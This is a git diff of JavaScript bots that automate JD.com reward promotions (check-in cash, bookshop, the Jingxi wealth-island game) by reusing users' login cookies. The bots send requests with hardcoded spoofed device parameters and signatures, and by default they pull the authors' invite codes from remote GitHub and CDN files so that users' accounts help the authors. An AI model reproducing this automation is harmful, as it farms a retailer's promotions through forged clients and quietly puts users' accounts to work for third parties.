t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_bookshop.js b/jd_bookshop.js index a3f558f..526d4c2 100755 --- a/jd_bookshop.js +++ b/jd_bookshop.js @@ -32,8 +32,8 @@ ADD_CART = $.isNode() ? (process.env.PURCHASE_SHOPS ? process.env.PURCHASE_SHOPS // 加入购物车开关,与东东小窝共享 let inviteCodes = [ - //'4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956', - //'4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956' + '4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956@7cac62f390074868949f72c18cc8469c', + '4dd98623868f4292b5432822389fe3e9@daf75e50044144c68b2aff47de57fe49@e341962809ae42c5b8d2d61995bbb5a4@77f08ad1aea04b73acd4542f7fd1dac6@fe5536751f89403d87bad635a87bd956@7cac62f390074868949f72c18cc8469c' ] if ($.isNode()) { diff --git a/jd_cash.js b/jd_cash.js index 0536ca7..5c6da73 100755 --- a/jd_cash.js +++ b/jd_cash.js @@ -2,23 +2,23 @@ 签到领现金,每日2毛~5毛 可互助,助力码每日不变,只变日期 活动入口:京东APP搜索领现金进入 -更新时间:2021-04-28 +更新时间:2021-06-07 已支持IOS双京东账号,Node.js支持N个京东账号 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ============Quantumultx=============== [task_local] #签到领现金 -2 0-23/4 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true ================Loon============== [Script] -cron "2 0-23/4 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js,tag=签到领现金 +cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 ===============Surge================= -签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js ============小火箭========= -签到领现金 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true +签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true */ const $ = new Env('签到领现金'); const notify = $.isNode() ? require('./sendNotify') : ''; @@ -28,9 +28,8 @@ let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭 //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; let helpAuthor = true; -const randomCount = $.isNode() ? 5 : 5; +const randomCount = $.isNode() ? 5 : 0; let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 -let cash_exchange2 = false;//是否消耗2元红包兑换200京豆,默认否 const inviteCodes = [ `eU9Yau6yNPkm9zrVzHsb3w@eU9YLarDP6Z1rRq8njtZ@eU9YN6nLObVHriuNuA9O` ] @@ -50,8 +49,12 @@ let allMessage = ''; return; } await requireConfig() - //await getAuthorShareCode(); - //await getAuthorShareCode2(); + $.authorCode = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateCash.json') + if (!$.authorCode) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + $.authorCode = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateCash.json') || [] + } for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -85,6 +88,7 @@ let allMessage = ''; $.done(); }) async function jdCash() { + $.signMoney = 0; await index() await shareCodesFormat() await helpFriends() @@ -92,27 +96,27 @@ async function jdCash() { await getReward('2'); $.exchangeBeanNum = 0; cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); - cash_exchange2 = $.isNode() ? (process.env.CASH_EXCHANGE2 ? process.env.CASH_EXCHANGE2 : `${cash_exchange2}`) : ($.getdata('cash_exchange2') ? $.getdata('cash_exchange2') : `${cash_exchange2}`); if (cash_exchange === 'true') { - console.log(`\n\n开始花费2元红包兑换200京豆,一周可换四次`) - for (let item of ["-1", "0", "1", "2", "3"]) { - $.canLoop = true; - if ($.canLoop) { - for (let i = 0; i < 5; i++) { - await exchange2(item);//兑换200京豆(2元红包换200京豆,一周5次。) - } - if (!$.canLoop) { - console.log(`已找到符合的兑换条件,跳出\n`); - break + if(Number($.signMoney) >= 2){ + console.log(`\n\n开始花费2元红包兑换200京豆,一周可换五次`) + for (let item of ["-1", "0", "1", "2", "3"]) { + $.canLoop = true; + if ($.canLoop) { + for (let i = 0; i < 5; i++) { + await exchange2(item);//兑换200京豆(2元红包换200京豆,一周5次。) + } + if (!$.canLoop) { + console.log(`已找到符合的兑换条件,跳出\n`); + break + } } } + if ($.exchangeBeanNum) { + message += `兑换京豆成功,获得${$.exchangeBeanNum * 100}京豆\n`; + } + }else{ + console.log(`\n\n现金不够2元,不进行兑换200京豆,`) } - if ($.exchangeBeanNum) { - message += `兑换京豆成功,获得${$.exchangeBeanNum * 100}京豆\n`; - } - } - if (cash_exchange2 === 'true') { - await exchange1(); } await index(true) // await showMsg() @@ -136,6 +140,7 @@ function index(info=false) { console.log(`\n\n当前现金:${data.data.result.signMoney}元`); return } + $.signMoney = data.data.result.signMoney; // console.log(`您的助力码为${data.data.result.inviteCode}`) console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.inviteCode}\n`); let helpInfo = { @@ -278,55 +283,6 @@ function getReward(source = 1) { }) }) } -function exchange1() { - let body = ''; - const data = {"clientVersion":"10.0.1"} - body = `clientVersion=10.0.1&build=88405&client=android&d_brand=HUAWEI&d_model=NOP-AN00&osVersion=9&screen=1920*1080&partner=xiaomi001&oaid=a519e7caefd6d12&eid=eidAed6d812253sc/UqDm2BNShybii+AtqAeEv1KhRKS/zL1VYb/sYfOobiBsOmxTVjj/zB2Z7Jk3T1YT8WRh6dwhwdIdEPnBJDBZ4Ut8mAHlOUYrLtW&sdkVersion=28&lang=zh_CN&uuid=a1c106409606e6c4&aid=a1c106409606e6c4&area=27_2376_50236_56688&networkType=4g&wifiBssid=unknown&uts=0f31TVRjBSvNio4N%2BCtmlAvkXL6JZzoo26PTJkn0J96Z%2Bir%2F67v%2FPBBqJt2rV3Kg5sFh8y5qVUGyYzzCYZspU68T9xX7xBzx%2BX9n4ArYPsiFQW5NShmt%2FFyeY9GpU65ocpvIH5b2bHlUngELLpbMuyyitkXirg8v074MdWdGlSV0NyWOOY%2BBvZq0ys3p8n81rtwPzgz5Ajgn08UH4y3Jnw%3D%3D&uemps=0-0&st=1624027590903&sign=909f011e78f56b7595f4faae79f98669&sv=122`; - return new Promise((resolve) => { - const options = { - url: `${JD_API_HOST}?functionId=cash_getRedPacket&${body}`, - body: `body=%7B%22amount%22%3A1000%2C%22type%22%3A2%7D&`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data.bizCode === 0) { - console.log(`花费${data.data.result.needMoney}元红包兑换成功!获得${data.data.result.beanName}\n`) - $.exchangeBeanNum += parseInt(data.data.result.needMoney); - $.canLoop = false; - } else { - console.log('兑换10元红包:' + data.data.bizMsg) - if (data.data.bizCode === 504) $.canLoop = true; - if (data.data.bizCode === 120) $.canLoop = false; - } - } else { - console.log(`兑换10元红包:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} function exchange2(node) { let body = ''; const data = {node,"configVersion":"1.0"} @@ -434,12 +390,10 @@ function shareCodesFormat() { let authorCode = deepCopy($.authorCode) $.newShareCodes = [...(authorCode.map((item, index) => authorCode[index] = item['inviteCode'])), ...$.newShareCodes]; } - /* const readShareCodeRes = await readShareCode(); if (readShareCodeRes && readShareCodeRes.code === 200) { $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; } - */ $.newShareCodes.map((item, index) => $.newShareCodes[index] = { "inviteCode": item, "shareDate": $.shareDate }) console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) resolve(); @@ -469,7 +423,7 @@ function requireConfig() { }) } else { if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的京喜财富岛邀请码:${$.getdata('jd_cash_invite')}\n`); + console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`); } console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); resolve() @@ -508,43 +462,35 @@ function taskUrl(functionId, body = {}) { } } -function getAuthorShareCode(url = "https://a.nz.lu/jd_cash.json") { +function getAuthorShareCode(url) { return new Promise(resolve => { - $.get({url, headers:{ + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, timeout: 200000,}, async (err, resp, data) => { - $.authorCode = []; - try { - if (err) { - } else { - $.authorCode = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); } - }) - }) -} -function getAuthorShareCode2(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateCash.json") { - return new Promise(resolve => { - $.get({url, headers:{ - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - }, timeout: 200000,}, async (err, resp, data) => { - $.authorCode2 = []; + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { try { if (err) { } else { - $.authorCode2 = JSON.parse(data) - if ($.authorCode2 && $.authorCode2.length) { - $.authorCode.push(...$.authorCode2); - } + if (data) data = JSON.parse(data) } } catch (e) { - $.logErr(e, resp) + // $.logErr(e, resp) } finally { - resolve(); + resolve(data); } }) }) diff --git a/jd_cfd.js b/jd_cfd.js index 87234df..8f13549 100755 --- a/jd_cfd.js +++ b/jd_cfd.js @@ -1,686 +1,1815 @@ -"use strict"; -/** - * 京喜财富岛 - * 包含雇佣导游,建议每小时1次 - * - * 此版本暂定默认帮助HelloWorld,帮助助力池 - * export HELP_HW = true // 帮助HelloWorld - * export HELP_POOL = true // 帮助助力池 - * - * 使用jd_env_copy.js同步js环境变量到ts - * 使用jd_ts_test.ts测试环境变量 +// @grant require +/* +京喜财富岛 +cron 5 * * * * jd_cfd.js +更新时间:2021-7-13 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛 +5 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "5 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 + +===============Surge================= +京喜财富岛 = type=cron,cronexp="5 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js + +============小火箭========= +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="5 * * * *", timeout=3600, enable=true */ -var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { - function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } - return new (P || (P = Promise))(function (resolve, reject) { - function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } - function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } - function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); -}; -var __generator = (this && this.__generator) || function (thisArg, body) { - var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; - return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; - function verb(n) { return function (v) { return step([n, v]); }; } - function step(op) { - if (f) throw new TypeError("Generator is already executing."); - while (_) try { - if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; - if (y = 0, t) op = [op[0] & 2, t.value]; - switch (op[0]) { - case 0: case 1: t = op; break; - case 4: _.label++; return { value: op[1], done: false }; - case 5: _.label++; y = op[1]; op = [0]; continue; - case 7: op = _.ops.pop(); _.trys.pop(); continue; - default: - if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } - if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } - if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } - if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } - if (t[2]) _.ops.pop(); - _.trys.pop(); continue; - } - op = body.call(thisArg, _); - } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } - if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = 